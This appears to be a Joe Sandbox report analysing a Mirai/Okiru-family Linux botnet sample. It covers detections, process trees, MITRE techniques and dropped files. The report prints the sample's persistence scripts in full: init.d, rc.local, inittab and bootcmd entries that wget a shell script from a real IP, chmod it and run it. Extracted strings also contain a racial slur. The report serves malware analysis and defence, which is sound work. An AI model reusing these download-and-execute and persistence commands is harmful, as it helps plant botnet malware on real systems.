Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
m68k.nn.elf

Overview

General Information

Sample name:m68k.nn.elf
Analysis ID:1580130
MD5:ae09296332b4358674f59fa1fc446b23
SHA1:b66fdf89a106268ab2abb96a9177bcc4d5cb98d6
SHA256:32c1c5d94c3d075eb3a0aa7275dc840563b6c3342736806e3932b7b1e8de7799
Tags:elfuser-abuse_ch
Infos:

Detection

Okiru
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1580130
Start date and time:2024-12-24 01:21:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 47s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:m68k.nn.elf
Detection:MAL
Classification:mal72.spre.troj.evad.linELF@0/10@2/0
Command:/tmp/m68k.nn.elf
PID:5428
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • m68k.nn.elf (PID: 5428, Parent: 5355, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/m68k.nn.elf
    • sh (PID: 5449, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"
      • sh New Fork (PID: 5453, Parent: 5449)
      • systemctl (PID: 5453, Parent: 5449, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service
    • sh (PID: 5469, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
      • sh New Fork (PID: 5471, Parent: 5469)
      • chmod (PID: 5471, Parent: 5469, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system
    • sh (PID: 5472, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
      • sh New Fork (PID: 5474, Parent: 5472)
      • ln (PID: 5474, Parent: 5472, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system
    • sh (PID: 5475, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"
    • sh (PID: 5477, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5479, Parent: 5477)
      • chmod (PID: 5479, Parent: 5477, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/m68k.nn.elf
    • sh (PID: 5480, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
      • sh New Fork (PID: 5482, Parent: 5480)
      • mkdir (PID: 5482, Parent: 5480, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d
    • sh (PID: 5483, Parent: 5428, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5485, Parent: 5483)
      • ln (PID: 5485, Parent: 5483, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf
  • udisksd New Fork (PID: 5438, Parent: 802)
  • dumpe2fs (PID: 5438, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • systemd New Fork (PID: 5467, Parent: 5466)
  • snapd-env-generator (PID: 5467, Parent: 5466, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • udisksd New Fork (PID: 5520, Parent: 802)
  • dumpe2fs (PID: 5520, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • cleanup
SourceRuleDescriptionAuthorStrings
m68k.nn.elfJoeSecurity_OkiruYara detected OkiruJoe Security
    SourceRuleDescriptionAuthorStrings
    5428.1.00007feb34001000.00007feb34019000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
      Process Memory Space: m68k.nn.elf PID: 5428JoeSecurity_OkiruYara detected OkiruJoe Security
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: m68k.nn.elfReversingLabs: Detection: 15%
        Source: m68k.nn.elfVirustotal: Detection: 25%Perma Link
        Source: m68k.nn.elfString: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/login94.156.227.234malloc[start_pid_hopping] Failed to clone: %s
        Source: /tmp/m68k.nn.elf (PID: 5428)Socket: 0.0.0.0:38242Jump to behavior
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, m68k.nn.elf.30.dr, custom.service.12.drString found in binary or memory: http://94.156.227.233/
        Source: m68k.nn.elfString found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
        Source: Initial sampleString containing 'busybox' found: /bin/busybox
        Source: Initial sampleString containing 'busybox' found: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal72.spre.troj.evad.linELF@0/10@2/0

        Persistence and Installation Behavior

        barindex
        Source: /tmp/m68k.nn.elf (PID: 5428)File: /etc/profileJump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5428)File: /etc/rc.localJump to behavior
        Source: /usr/bin/ln (PID: 5474)File: /etc/rcS.d/S99system -> /etc/init.d/systemJump to behavior
        Source: /usr/bin/ln (PID: 5485)File: /etc/rc.d/S99m68k.nn.elf -> /etc/init.d/m68k.nn.elfJump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5428)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5471)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5479)File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5449)Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5469)Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5472)Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5475)Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5477)Shell command executed: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5480)Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5483)Shell command executed: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /bin/sh (PID: 5471)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/systemJump to behavior
        Source: /bin/sh (PID: 5479)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/m68k.nn.elfJump to behavior
        Source: /bin/sh (PID: 5482)Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.dJump to behavior
        Source: /bin/sh (PID: 5453)Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.serviceJump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5428)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5471)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5479)File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/m68k.nn.elf (PID: 5428)Writes shell script file to disk with an unusual file extension: /etc/init.d/systemJump to dropped file
        Source: /tmp/m68k.nn.elf (PID: 5428)Writes shell script file to disk with an unusual file extension: /etc/rc.localJump to dropped file
        Source: /bin/sh (PID: 5475)Writes shell script file to disk with an unusual file extension: /etc/init.d/m68k.nn.elfJump to dropped file

        Hooking and other Techniques for Hiding and Protection

        barindex
        Source: /tmp/m68k.nn.elf (PID: 5428)File: /etc/init.d/systemJump to dropped file
        Source: /bin/sh (PID: 5475)File: /etc/init.d/m68k.nn.elfJump to dropped file
        Source: /tmp/m68k.nn.elf (PID: 5428)Queries kernel information via 'uname': Jump to behavior
        Source: m68k.nn.elf, 5428.1.00007fff82a45000.00007fff82a66000.rw-.sdmpBinary or memory string: (V/tmp/qemu-open.pE7asB--
        Source: m68k.nn.elf, 5428.1.00007fff82a45000.00007fff82a66000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-m68k/tmp/m68k.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.nn.elf
        Source: m68k.nn.elf, 5428.1.00005628d9b18000.00005628d9b9d000.rw-.sdmpBinary or memory string: (V!/etc/qemu-binfmt/m68k
        Source: m68k.nn.elf, 5428.1.00005628d9b18000.00005628d9b9d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/m68k/usQ
        Source: m68k.nn.elf, 5428.1.00007fff82a45000.00007fff82a66000.rw-.sdmpBinary or memory string: /qemu-open.XXXXX
        Source: m68k.nn.elf, 5428.1.00005628d9b18000.00005628d9b9d000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
        Source: m68k.nn.elf, 5428.1.00007fff82a45000.00007fff82a66000.rw-.sdmpBinary or memory string: /tmp/qemu-open.pE7asB
        Source: m68k.nn.elf, 5428.1.00007fff82a45000.00007fff82a66000.rw-.sdmpBinary or memory string: /usr/bin/qemu-m68k
        Source: m68k.nn.elf, 5428.1.00005628d9b18000.00005628d9b9d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/m68k
        Source: m68k.nn.elf, 5428.1.00005628d9b18000.00005628d9b9d000.rw-.sdmpBinary or memory string: (V6!/usr/bin/vmtoolsd
        Source: m68k.nn.elf, 5428.1.00007fff82a45000.00007fff82a66000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: m68k.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5428.1.00007feb34001000.00007feb34019000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: m68k.nn.elf PID: 5428, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: m68k.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5428.1.00007feb34001000.00007feb34019000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: m68k.nn.elf PID: 5428, type: MEMORYSTR
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information2
        Scripting
        Valid AccountsWindows Management Instrumentation1
        Unix Shell Configuration Modification
        1
        Unix Shell Configuration Modification
        1
        Masquerading
        OS Credential Dumping11
        Security Software Discovery
        Remote ServicesData from Local System1
        Non-Application Layer Protocol
        Exfiltration Over Other Network Medium1
        Data Manipulation
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Systemd Service
        1
        Systemd Service
        2
        File and Directory Permissions Modification
        LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt2
        Scripting
        Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1580130 Sample: m68k.nn.elf Startdate: 24/12/2024 Architecture: LINUX Score: 72 49 daisy.ubuntu.com 2->49 51 Multi AV Scanner detection for submitted file 2->51 53 Yara detected Okiru 2->53 8 m68k.nn.elf 2->8         started        12 udisksd dumpe2fs 2->12         started        14 udisksd dumpe2fs 2->14         started        16 systemd snapd-env-generator 2->16         started        signatures3 process4 file5 41 /etc/rc.local, POSIX 8->41 dropped 43 /etc/profile, ASCII 8->43 dropped 45 /etc/init.d/system, POSIX 8->45 dropped 55 Sample tries to set files in /etc globally writable 8->55 57 Sample tries to persist itself using /etc/profile 8->57 59 Drops files in suspicious directories 8->59 61 Sample tries to persist itself using System V runlevels 8->61 18 m68k.nn.elf sh 8->18         started        20 m68k.nn.elf sh 8->20         started        22 m68k.nn.elf sh 8->22         started        24 4 other processes 8->24 signatures6 process7 file8 28 sh chmod 18->28         started        31 sh ln 20->31         started        33 sh chmod 22->33         started        47 /etc/init.d/m68k.nn.elf, POSIX 24->47 dropped 63 Drops files in suspicious directories 24->63 35 sh ln 24->35         started        37 sh systemctl 24->37         started        39 sh mkdir 24->39         started        signatures9 process10 signatures11 65 Sample tries to set files in /etc globally writable 28->65 67 Sample tries to persist itself using System V runlevels 31->67

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand
        SourceDetectionScannerLabelLink
        m68k.nn.elf16%ReversingLabsLinux.Backdoor.Mirai
        m68k.nn.elf25%VirustotalBrowse
        SourceDetectionScannerLabelLink
        /etc/rc.local0%ReversingLabs
        /etc/rc.local0%VirustotalBrowse
        No Antivirus matches
        No Antivirus matches
        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        162.213.35.25
        truefalse
          high
          NameSourceMaliciousAntivirus DetectionReputation
          http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sm68k.nn.elffalse
            high
            http://94.156.227.233/m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, m68k.nn.elf.30.dr, custom.service.12.drfalse
              high
              No contacted IP infos
              No context
              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              daisy.ubuntu.comsh4.nn.elfGet hashmaliciousOkiruBrowse
              • 162.213.35.25
              arm7.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.25
              mipsel.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.25
              arm6.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.25
              jackmyi686.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.25
              jackmyarmv5.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              jackmysparc.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.25
              jackmyarmv6.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.25
              jackmymips64.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              jackmymipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.25
              No context
              No context
              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              /etc/init.d/m68k.nn.elfm68k.nn.elfGet hashmaliciousOkiruBrowse
                m68k.nn.elfGet hashmaliciousOkiruBrowse
                  m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                    m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                        /etc/init.d/systemm68k.nn.elfGet hashmaliciousOkiruBrowse
                          m68k.nn.elfGet hashmaliciousOkiruBrowse
                            m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                  Process:/tmp/m68k.nn.elf
                                  File Type:ASCII text
                                  Category:dropped
                                  Size (bytes):120
                                  Entropy (8bit):4.71023514082177
                                  Encrypted:false
                                  SSDEEP:3:KPJRXSC/ANFDDoCvLdjX48FIbILbaaFOdFXa5O:WJRlufoYZX48bbaaeXCO
                                  MD5:82FAEE159509BB5192AA520D95440C3D
                                  SHA1:66BA9BC025F6E90666F34A8E38EAA89B719B7DC8
                                  SHA-256:E7BAC6C0AFEE6CC2EB7C778318124C284367B83C9EF3D6F7DDF9AC38FCF2F990
                                  SHA-512:D63BE1C08A45D85EB6B3DB74A93F1A266E194729CEF8BDB136597C3E89B83C36B495E12ADF73CC24484210824BC5122F87714446B9D1584C9D6ED0C0220D7B1E
                                  Malicious:false
                                  Reputation:low
                                  Preview:run bootcmd_mmc0; /tmp/m68k.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.
                                  Process:/bin/sh
                                  File Type:POSIX shell script, ASCII text executable
                                  Category:dropped
                                  Size (bytes):400
                                  Entropy (8bit):4.612244173377962
                                  Encrypted:false
                                  SSDEEP:12:QRkiMEXNxl8GPUJgjvMHK2FSuKN+dRRucSOyd3:vRGcISzhYOM3
                                  MD5:42A0E283E013A117BA7E3D837377CF3E
                                  SHA1:6C5454636C1771F46A606C304DCE8B4AB80B566A
                                  SHA-256:1BB893683F5E24931B53216BEFA2506111E440E08ADA73924BE5BC6D93F69F90
                                  SHA-512:7D60DF45AB791CEF8ED0511D8E1AA36575A58F7213A1A217CB1C51DCABCF7C594441980B4216C81D5027212866421DFADE6FFCEBEFF29E2D81B828A1B7BF2C2B
                                  Malicious:true
                                  Joe Sandbox View:
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  Reputation:low
                                  Preview:#!/bin/sh.# /etc/init.d/m68k.nn.elf..case "" in. start). echo 'Starting m68k.nn.elf'. /tmp/m68k.nn.elf &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping m68k.nn.elf'. killall m68k.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start|stop|restart}". exit 1. ;;.esac.exit 0.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:POSIX shell script, ASCII text executable
                                  Category:dropped
                                  Size (bytes):107
                                  Entropy (8bit):4.6965251577946185
                                  Encrypted:false
                                  SSDEEP:3:TKH4vZKSC/ANFDvSDRFiLdjX48FIbILpaKB0dFLoKE0:h8luzSXoZX48bzBeLXE0
                                  MD5:75C3B0070571A42064490B0A59C5F54F
                                  SHA1:5E48FEB277032F0F45255EC98EC6FDDB9710180D
                                  SHA-256:3AAFF2180555B9691F8AECA6944ED2B5574D3612A0B4F91AE56A31DD30F3024B
                                  SHA-512:FAE041568F54085F8E91E004C14F26B8DF19267AF398D26166947A9C70BD0BD67C36D02078BD7DFFD0AF924D35EEADFB14880757B78354DA9823C4003FEF50F6
                                  Malicious:true
                                  Joe Sandbox View:
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                  Reputation:low
                                  Preview:#!/bin/sh./tmp/m68k.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:ASCII text
                                  Category:dropped
                                  Size (bytes):112
                                  Entropy (8bit):4.648300524622469
                                  Encrypted:false
                                  SSDEEP:3:nAWu58C/ANFDDoCvLdjX48FIbILbaaFOdFXa5O:ANufoYZX48bbaaeXCO
                                  MD5:6B69B8EBA9149CE0E664318604481B1B
                                  SHA1:19EA18B050694AC87A05648235C7EE1BFD891815
                                  SHA-256:0D26FFA18F7B01205E1A8852E5B2B964711987AE35A7A56F512239F67DBC2D0F
                                  SHA-512:AAB12A8BD0B4D5F2970DCA2A2F7B1907F5DE8E68DC2B248CB04657D5F1FC7366E51A1F885ED31F64DD336698A0FF050729230BA4DF1CA860E7675C0F7526A746
                                  Malicious:false
                                  Reputation:low
                                  Preview:::respawn:/tmp/m68k.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:ASCII text
                                  Category:dropped
                                  Size (bytes):53
                                  Entropy (8bit):3.871459242626451
                                  Encrypted:false
                                  SSDEEP:3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
                                  MD5:2BD9B4BE30579E633FC0191AA93DF486
                                  SHA1:7D63A9BD9662E86666B27C1B50DB8E7370C624FF
                                  SHA-256:64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
                                  SHA-512:AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
                                  Malicious:false
                                  Preview:gorilla botnet is on the device ur not a cat go away.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:ASCII text
                                  Category:dropped
                                  Size (bytes):103
                                  Entropy (8bit):4.539325085623206
                                  Encrypted:false
                                  SSDEEP:3:TgSC/ANFDvSDRFiLdjX48FIbILbaaFOdFXa50:TgluzSXoZX48bbaaeXC0
                                  MD5:107E2A66E888E012915B4359DF5B17B1
                                  SHA1:A532A61F6D10B765D29B63248E84877DF85BB76C
                                  SHA-256:395C5BF18A2B8360C8D63A43B7FF55712985F066F9789F9B166F2A39092F9055
                                  SHA-512:6E2FC482B1AB8E3D7166F0A12A56464F071699FB2A110D98E9390822FA8994ABD40B1BA36566FA303FC68AAFB343AD6EA14CFD4EE6A42C9B275DCB94B1033A46
                                  Malicious:true
                                  Preview:/tmp/m68k.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:POSIX shell script, ASCII text executable
                                  Category:dropped
                                  Size (bytes):10
                                  Entropy (8bit):3.121928094887362
                                  Encrypted:false
                                  SSDEEP:3:TKH4vn:hv
                                  MD5:3E2B31C72181B87149FF995E7202C0E3
                                  SHA1:BD971BEC88149956458A10FC9C5ECB3EB99DD452
                                  SHA-256:A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
                                  SHA-512:543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
                                  Malicious:true
                                  Antivirus:
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                  Preview:#!/bin/sh.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:ASCII text
                                  Category:dropped
                                  Size (bytes):301
                                  Entropy (8bit):5.089772238578568
                                  Encrypted:false
                                  SSDEEP:6:z8ifitRZAMzdK+xE02+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+xEp+GWRdtd+GWRXY+GWRuO
                                  MD5:5F2DE4BB7CB64F4FF46C92FBBBD18206
                                  SHA1:E548D43460D28039B78C3BBB88FD906D47831FB1
                                  SHA-256:53E1138FD67D03288BB94DD07128318C7FF79BFC504DA67BC00F10716F74D25A
